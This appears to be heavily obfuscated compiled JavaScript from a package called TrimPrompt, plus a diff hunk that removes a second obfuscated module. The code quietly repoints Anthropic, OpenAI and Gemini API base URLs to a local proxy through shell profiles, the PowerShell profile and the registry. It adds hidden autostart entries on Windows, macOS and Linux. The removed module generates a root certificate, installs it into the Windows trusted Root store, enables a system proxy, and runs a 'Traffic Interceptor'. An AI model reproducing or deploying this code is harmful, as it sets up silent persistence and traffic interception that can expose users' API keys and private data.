_0x349093=(0x0,child_process_1[_0x4e72b1(0xa0)])(_0x597220+'\x20-NoProfile\x20-Command\x20\x22$PROFILE\x22',{'encoding':_0x4e72b1(0xf7),'timeout':0xbb8,'stdio':['pipe',_0x4e72b1(0x10f),_0x4e72b1(0xb8)]})[_0x4e72b1(0x114)]();if(_0x349093&&!_0x40ddc1['includes'](_0x349093))_0x40ddc1[_0x4e72b1(0xe1)](_0x349093);}catch{}}const _0x41b0e9=_0x4e72b1(0xe6),_0x173b9a=_0x4e72b1(0x100)+_0x31f706+'\x22\x20'+_0x41b0e9,_0x5da66e=_0x4e72b1(0xf5)+_0x1c27d2+'\x22\x20'+_0x41b0e9,_0x2c8507=_0x4e72b1(0x101)+_0x1c27d2+'\x22\x20'+_0x41b0e9,_0x1f43a7=_0x4e72b1(0xc5)+_0x1c27d2+'\x22\x20'+_0x41b0e9;for(const _0x5081de of _0x40ddc1){try{const _0x1bd3aa=path[_0x4e72b1(0xd2)](_0x5081de);if(!fs['existsSync'](_0x1bd3aa))fs[_0x4e72b1(0xd0)](_0x1bd3aa,{'recursive':!![]});let _0x23a05b=fs['existsSync'](_0x5081de)?fs[_0x4e72b1(0xfe)](_0x5081de,_0x4e72b1(0xf7)):'';_0x23a05b['includes'](_0x41b0e9)&&(_0x23a05b=_0x23a05b[_0x4e72b1(0xa6)](new RegExp('.*'+_0x41b0e9[_0x4e72b1(0xa6)](/[.*+?^${}()|[\]\\]/g,'\x5c$&')+_0x4e72b1(0xea),'g'),'')),_0x23a05b=_0x23a05b['trimEnd']()+'\x0a'+_0x173b9a+'\x0a'+_0x5da66e+'\x0a'+_0x2c8507+'\x0a'+_0x1f43a7+'\x0a',fs[_0x4e72b1(0xfd)](_0x5081de,_0x23a05b,'utf8');}catch{}}}catch{}}function a0_0x163f(){const _0x55c775=['__esModule','38woclOo','isProxyRunning','pipe','port','cmd\x20=\x20Chr(34)\x20&\x20\x22','5765718ohjLvr','env','trim','9215395Gepmfa','<string>','__importStar','ANTHROPIC_BASE_URL','\x20proxy\x20install\x0a','5416535yYkmKA','message','\x22\x20&\x20Chr(34)\x20&\x20\x22\x20\x22\x20&\x20Chr(34)\x20&\x20\x22','Remove-ItemProperty\x20-Path\x20\x27','getOwnPropertyNames','\x27\x20-Name\x20\x27','trimEnd',')\x20on\x20port\x20','[Desktop\x20Entry]\x0a','</string><string>','startProxyDaemon','join','Type=Application\x0a','stopProxyDaemon','kill','setAnthropicBaseUrl','SIGTERM','export\x20GOOGLE_AI_BASE_URL=\x22','ai.trimprompt.proxy.plist','execSync','unlinkSync','NoDisplay=true\x0a','__setModuleDefault','\x22\x20/FO\x20CSV\x20/NH','proxy','replace','keys','homedir','pwsh','</dict></plist>\x0a','proxy.pid','trimprompt-proxy.desktop','X-GNOME-Autostart-enabled=true\x0a','powershell','existsSync','\x27\x20-Value\x20\x27','settings.json','getOwnPropertyDescriptor','575909lzADDL','20581416LjisFj','wscript.exe\x20\x22','.config','\x20-NoProfile\x20-Command\x20\x22$PROFILE\x22','ignore','disableAutostart','setx\x20OPENAI_BASE_URL\x20\x22','Proxy\x20started\x20(pid\x20','prototype','call','writable','default','.bash_profile','LaunchAgents','--port','split','powershell.exe\x20-NoProfile\x20-Command\x20\x22','$env:GOOGLE_AI_BASE_URL\x20=\x20\x22','includes','23277HmfjWC','launchctl\x20load\x20\x22','\x22\x20&\x20Chr(34)\x20&\x20\x22\x20proxy\x20install\x22\x0d\x0a','TrimPromptProxy','setx\x20GOOGLE_AI_BASE_URL\x20\x22','CLI\x20not\x20found\x20at\x20','<plist\x20version=\x221.0\x22><dict>\x0a','taskkill\x20/PID\x20','4KPrALk','mkdirSync','tasklist\x20/FI\x20\x22PID\x20eq\x20','dirname','setx\x20ANTHROPIC_BASE_URL\x20\x22','get','create','/v1','.claude','__createBinding','spawn','defineProperty','path','.*\x5cn?','darwin','http://127.0.0.1:','launchctl\x20unload\x20\x22','cli.js','push','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cRun','export\x20ANTHROPIC_BASE_URL=\x22','export\x20OPENAI_BASE_URL=\x22','parse','#\x20TrimPrompt\x20API\x20Proxy','New-Item\x20-Path\x20\x27','\x27\x20-ErrorAction\x20SilentlyContinue','length','.*\x5cr?\x5cn?','\x5c$&','<!DOCTYPE\x20plist\x20PUBLIC\x20\x22-//Apple//DTD\x20PLIST\x201.0//EN\x22\x20\x22http://www.apple.com/DTDs/PropertyList-1.0.dtd\x22>\x0a','Library','.bashrc','platform','unref','pid','\x20\x20<key>ProgramArguments</key><array>','Proxy\x20already\x20running\x20(pid\x20','execPath','$env:OPENAI_BASE_URL\x20=\x20\x22','Proxy\x20stopped\x20(pid\x20','utf8','WshShell.Run\x20cmd,\x200,\x20False\x0d\x0a','child_process','\x20\x20<key>RunAtLoad</key><true/>\x0a','Proxy\x20is\x20not\x20running','\x20\x20<key>KeepAlive</key><true/>\x0a','writeFileSync','readFileSync','autostart','$env:ANTHROPIC_BASE_URL\x20=\x20\x22','$env:GEMINI_BASE_URL\x20=\x20\x22','win32','</array>\x0a','.zshrc','stringify','hasOwnProperty','setx\x20GEMINI_BASE_URL\x20\x22','running','.trimprompt','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0d\x0a','5635512KYHApO'];a0_0x163f=function(){return _0x55c775;};return a0_0x163f();}function removeAnthropicBaseUrl(){const _0x39e1f9=a0_0x529c8f;removeClaudeCodeSettings();if(process['platform']===_0x39e1f9(0x102))try{(0x0,child_process_1[_0x39e1f9(0xa0)])('REG\x20DELETE\x20\x22HKCU\x5cEnvironment\x22\x20/V\x20ANTHROPIC_BASE_URL\x20/F',{'timeout':0x1388});}catch{}const _0xe9e082=os['homedir'](),_0x42cfcf=_0x39e1f9(0xe6),_0x568375=[path['join'](_0xe9e082,_0x39e1f9(0xee)),path[_0x39e1f9(0x98)](_0xe9e082,_0x39e1f9(0x104)),path[_0x39e1f9(0x98)](_0xe9e082,_0x39e1f9(0xc0))];for(const _0x1a7d85 of _0x568375){try{if(fs[_0x39e1f9(0xaf)](_0x1a7d85)){let _0xb404ed=fs[_0x39e1f9(0xfe)](_0x1a7d85,_0x39e1f9(0xf7));_0xb404ed['includes'](_0x42cfcf)&&(_0xb404ed=_0xb404ed[_0x39e1f9(0xa6)](new RegExp('.*'+_0x42cfcf['replace'](/[.*+?^${}()|[\]\\]/g,'\x5c$&')+_0x39e1f9(0xea),'g'),''),fs[_0x39e1f9(0xfd)](_0x1a7d85,_0xb404ed,'utf8'));}}catch{}}try{for(const _0x3b5741 of[_0x39e1f9(0xae),'pwsh']){try{const _0x31844d=(0x0,child_process_1[_0x39e1f9(0xa0)])(_0x3b5741+_0x39e1f9(0xb7),{'encoding':_0x39e1f9(0xf7),'timeout':0xbb8,'stdio':['pipe',_0x39e1f9(0x10f),_0x39e1f9(0xb8)]})['trim']();if(_0x31844d&&fs[_0x39e1f9(0xaf)](_0x31844d)){let _0x5f070f=fs[_0x39e1f9(0xfe)](_0x31844d,'utf8');const _0x7c61a3=_0x39e1f9(0xe6);_0x5f070f[_0x39e1f9(0xc6)](_0x7c61a3)&&(_0x5f070f=_0x5f070f[_0x39e1f9(0xa6)](new RegExp('.*'+_0x7c61a3[_0x39e1f9(0xa6)](/[.*+?^${}()|[\]\\]/g,_0x39e1f9(0xeb))+'.*\x5cr?\x5cn?','g'),''),fs[_0x39e1f9(0xfd)](_0x31844d,_0x5f070f,'utf8'));}}catch{}}}catch{}}
@@ -1 +0,0 @@
1
- 'use strict';const a0_0xf94fc0=a0_0x9311;(function(_0x280e9b,_0x5dfcf5){const _0x512c67=a0_0x9311,_0x1cf3e2=_0x280e9b();while(!![]){try{const _0x1f3d75=parseInt(_0x512c67(0x14f))/0x1*(-parseInt(_0x512c67(0x146))/0x2)+parseInt(_0x512c67(0x13c))/0x3+parseInt(_0x512c67(0x150))/0x4*(parseInt(_0x512c67(0x129))/0x5)+parseInt(_0x512c67(0x142))/0x6+parseInt(_0x512c67(0x116))/0x7+-parseInt(_0x512c67(0x13e))/0x8*(-parseInt(_0x512c67(0x13b))/0x9)+-parseInt(_0x512c67(0x141))/0xa;if(_0x1f3d75===_0x5dfcf5)break;else _0x1cf3e2['push'](_0x1cf3e2['shift']());}catch(_0x1f9bb0){_0x1cf3e2['push'](_0x1cf3e2['shift']());}}}(a0_0x5891,0xb8d37));function a0_0x5891(){const _0x3ae180=['readFileSync','hasOwnProperty','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','replace','ignore','Set-ItemProperty\x20-Path\x20\x27','write','14048UyHLTo','4UEmyFB','homedir','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','length','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeHead','default','log','code','writeFileSync','pid','join','crypto','.\x20Retrying\x20listen...','execSync','setSubject','defineProperty','createPrivateKey','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','split','__importStar','disableSystemProxy','win32','EADDRINUSE','connect','stringify','http','5755568vtzrnu','request','listen','error','existsSync','getOwnPropertyNames','enableSystemProxy','configurable','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','powershell.exe\x20-NoProfile\x20-Command\x20\x22','127.0.0.1','toString','create','ca.crt','__setModuleDefault','TrimPrompt\x20Traffic\x20Interceptor\x20Active','get','utf8','platform','7141965oTXfcv','prototype','setPublicKey','pipe','generateKeyPairSync','installSystemCaCert','pem','url','rsa','trim','createServer','child_process','createCertificate','sha256','127.0.0.1:','startTrafficInterceptor','.trimprompt','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','26613OFQtyd','3020598HvYokT','call','3936PUUdbO','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','__esModule','45093680wCXswg','5768880FeEiim','export','generateCaCertificate','application/json','58nXGAZG','end'];a0_0x5891=function(){return _0x3ae180;};return a0_0x5891();}var __createBinding=this&&this['__createBinding']||(Object[a0_0xf94fc0(0x122)]?function(_0xe761a7,_0x4642f4,_0x11cf32,_0x921b89){const _0x542dba=a0_0xf94fc0;if(_0x921b89===undefined)_0x921b89=_0x11cf32;var _0x44e644=Object['getOwnPropertyDescriptor'](_0x4642f4,_0x11cf32);(!_0x44e644||(_0x542dba(0x126)in _0x44e644?!_0x4642f4['__esModule']:_0x44e644['writable']||_0x44e644[_0x542dba(0x11d)]))&&(_0x44e644={'enumerable':!![],'get':function(){return _0x4642f4[_0x11cf32];}}),Object[_0x542dba(0x10b)](_0xe761a7,_0x921b89,_0x44e644);}:function(_0x1ba39a,_0x468803,_0x48ef12,_0x23eb15){if(_0x23eb15===undefined)_0x23eb15=_0x48ef12;_0x1ba39a[_0x23eb15]=_0x468803[_0x48ef12];}),__setModuleDefault=this&&this[a0_0xf94fc0(0x124)]||(Object[a0_0xf94fc0(0x122)]?function(_0x4a3cd3,_0x1a829a){const _0x32c0cd=a0_0xf94fc0;Object[_0x32c0cd(0x10b)](_0x4a3cd3,_0x32c0cd(0x15a),{'enumerable':!![],'value':_0x1a829a});}:function(_0x37757e,_0x5a9416){_0x37757e['default']=_0x5a9416;}),__importStar=this&&this[a0_0xf94fc0(0x10f)]||(function(){var _0x5010d0=function(_0x473ee3){const _0x4e92e1=a0_0x9311;return _0x5010d0=Object[_0x4e92e1(0x11b)]||function(_0x403380){const _0x529061=_0x4e92e1;var _0x16772e=[];for(var _0x1046ae in _0x403380)if(Object[_0x529061(0x12a)][_0x529061(0x149)][_0x529061(0x13d)](_0x403380,_0x1046ae))_0x16772e[_0x16772e['length']]=_0x1046ae;return _0x16772e;},_0x5010d0(_0x473ee3);};return function(_0x5b00b2){const _0x3541e7=a0_0x9311;if(_0x5b00b2&&_0x5b00b2[_0x3541e7(0x140)])return _0x5b00b2;var _0x16f129={};if(_0x5b00b2!=null){for(var _0x3c4137=_0x5010d0(_0x5b00b2),_0x4bcd84=0x0;_0x4bcd84<_0x3c4137[_0x3541e7(0x156)];_0x4bcd84++)if(_0x3c4137[_0x4bcd84]!==_0x3541e7(0x15a))__createBinding(_0x16f129,_0x5b00b2,_0x3c4137[_0x4bcd84]);}return __setModuleDefault(_0x16f129,_0x5b00b2),_0x16f129;};}());Object[a0_0xf94fc0(0x10b)](exports,'__esModule',{'value':!![]}),exports[a0_0xf94fc0(0x144)]=generateCaCertificate,exports[a0_0xf94fc0(0x12e)]=installSystemCaCert,exports[a0_0xf94fc0(0x11c)]=enableSystemProxy,exports[a0_0xf94fc0(0x110)]=disableSystemProxy,exports[a0_0xf94fc0(0x138)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xf94fc0(0x115))),crypto=__importStar(require(a0_0xf94fc0(0x107))),child_process_1=require(a0_0xf94fc0(0x134)),baseDir=path['join'](os[a0_0xf94fc0(0x151)](),a0_0xf94fc0(0x139)),caCertPath=path[a0_0xf94fc0(0x106)](baseDir,a0_0xf94fc0(0x123)),caKeyPath=path[a0_0xf94fc0(0x106)](baseDir,'ca.key');function ensureBaseDir(){const _0x10973d=a0_0xf94fc0;if(!fs[_0x10973d(0x11a)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x2525d2=a0_0xf94fc0;ensureBaseDir();if(fs[_0x2525d2(0x11a)](caCertPath)&&fs['existsSync'](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x2525d2(0x127)),'key':fs[_0x2525d2(0x148)](caKeyPath,_0x2525d2(0x127))};const {privateKey:_0xcecdcb,publicKey:_0x5298f6}=crypto[_0x2525d2(0x12d)](_0x2525d2(0x131),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x2525d2(0x153),'format':_0x2525d2(0x12f)},'privateKeyEncoding':{'type':'pkcs8','format':'pem'}}),_0x3fc8bf=crypto[_0x2525d2(0x135)]?crypto[_0x2525d2(0x135)]():null;let _0x25711e='';return _0x3fc8bf?(_0x3fc8bf[_0x2525d2(0x10a)](_0x2525d2(0x13a)),_0x3fc8bf['setIssuer'](_0x2525d2(0x13a)),_0x3fc8bf[_0x2525d2(0x12b)](crypto['createPublicKey'](_0x5298f6)),_0x3fc8bf['sign'](crypto[_0x2525d2(0x10c)](_0xcecdcb),_0x2525d2(0x136)),_0x25711e=_0x3fc8bf[_0x2525d2(0x143)](_0x2525d2(0x12f))[_0x2525d2(0x121)]()):_0x25711e=_0x5298f6,fs[_0x2525d2(0x15d)](caKeyPath,_0xcecdcb,_0x2525d2(0x127)),fs[_0x2525d2(0x15d)](caCertPath,_0x25711e,_0x2525d2(0x127)),{'cert':_0x25711e,'key':_0xcecdcb};}function installSystemCaCert(){const _0x52a2e9=a0_0xf94fc0;if(process['platform']!==_0x52a2e9(0x111))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x52a2e9(0x109)])(_0x52a2e9(0x158)+caCertPath+'\x22',{'stdio':_0x52a2e9(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x3a89db=0x1f90){const _0x588c28=a0_0xf94fc0;if(process[_0x588c28(0x128)]!=='win32')return![];try{const _0xd17b49=_0x588c28(0x13f),_0x1598e6=_0x588c28(0x137)+_0x3a89db,_0x5ed426=_0x588c28(0x14d)+_0xd17b49+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xd17b49+_0x588c28(0x154)+_0x1598e6+'\x27';return(0x0,child_process_1['execSync'])(_0x588c28(0x11f)+_0x5ed426[_0x588c28(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x588c28(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function a0_0x9311(_0x153513,_0xeefaa9){const _0x5891cc=a0_0x5891();return a0_0x9311=function(_0x93117a,_0x2d62a8){_0x93117a=_0x93117a-0x106;let _0x2ac946=_0x5891cc[_0x93117a];return _0x2ac946;},a0_0x9311(_0x153513,_0xeefaa9);}function disableSystemProxy(){const _0x446b17=a0_0xf94fc0;if(process[_0x446b17(0x128)]!==_0x446b17(0x111))return![];try{const _0x149079='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x3d0a3c=_0x446b17(0x14d)+_0x149079+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200';return(0x0,child_process_1[_0x446b17(0x109)])(_0x446b17(0x11f)+_0x3d0a3c[_0x446b17(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x446b17(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x551853=0x1f90){const _0x536c67=a0_0xf94fc0,_0x205c57=http[_0x536c67(0x133)]();_0x205c57['on'](_0x536c67(0x119),_0x4f94ca=>{const _0x36b709=_0x536c67;if(_0x4f94ca[_0x36b709(0x15c)]===_0x36b709(0x112)){console[_0x36b709(0x15b)](_0x36b709(0x152)+_0x551853+_0x36b709(0x155));try{if(process['platform']==='win32'){const _0xd1b36b=(0x0,child_process_1['execSync'])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x551853+'\x20|\x20findstr\x20LISTENING',{'encoding':_0x36b709(0x127),'timeout':0xbb8}),_0x3e1c15=_0xd1b36b[_0x36b709(0x132)]()['split'](/\s+/),_0x396c3f=_0x3e1c15[_0x3e1c15[_0x36b709(0x156)]-0x1];if(_0x396c3f&&_0x396c3f!==String(process[_0x36b709(0x15e)])){(0x0,child_process_1['execSync'])('taskkill\x20/PID\x20'+_0x396c3f+'\x20/F',{'stdio':_0x36b709(0x14c),'timeout':0xbb8}),console[_0x36b709(0x15b)](_0x36b709(0x11e)+_0x396c3f+_0x36b709(0x108)),setTimeout(()=>_0x205c57['listen'](_0x551853,_0x36b709(0x120)),0x1f4);return;}}}catch{}console[_0x36b709(0x119)]('[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20'+_0x551853+_0x36b709(0x157));}else console['error'](_0x36b709(0x10d)+_0x4f94ca['message']);}),_0x205c57['on'](_0x536c67(0x117),(_0xadf103,_0x173e68)=>{const _0x22a07f=_0x536c67;_0x173e68[_0x22a07f(0x159)](0xc8,{'Content-Type':_0x22a07f(0x145)}),_0x173e68['end'](JSON[_0x22a07f(0x114)]({'status':_0x22a07f(0x125),'url':_0xadf103[_0x22a07f(0x130)]}));}),_0x205c57['on']('connect',(_0x1a4a69,_0x2dfaea,_0x24c6f8)=>{const _0x2c89b4=_0x536c67,[_0x18525f,_0x58d9d2]=(_0x1a4a69[_0x2c89b4(0x130)]||'')[_0x2c89b4(0x10e)](':'),_0x470408=parseInt(_0x58d9d2,0xa)||0x1bb,_0x32d38f=net[_0x2c89b4(0x113)](_0x470408,_0x18525f,()=>{const _0x27bf48=_0x2c89b4;_0x2dfaea[_0x27bf48(0x14e)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x32d38f[_0x27bf48(0x14e)](_0x24c6f8),_0x32d38f[_0x27bf48(0x12c)](_0x2dfaea),_0x2dfaea[_0x27bf48(0x12c)](_0x32d38f);});_0x32d38f['on']('error',()=>{const _0x367dbd=_0x2c89b4;try{_0x2dfaea[_0x367dbd(0x147)]();}catch{}}),_0x2dfaea['on'](_0x2c89b4(0x119),()=>{const _0x39eb5d=_0x2c89b4;try{_0x32d38f[_0x39eb5d(0x147)]();}catch{}});}),_0x205c57[_0x536c67(0x118)](_0x551853,_0x536c67(0x120),()=>{const _0x28d570=_0x536c67;console['log'](_0x28d570(0x14a)+_0x551853);});}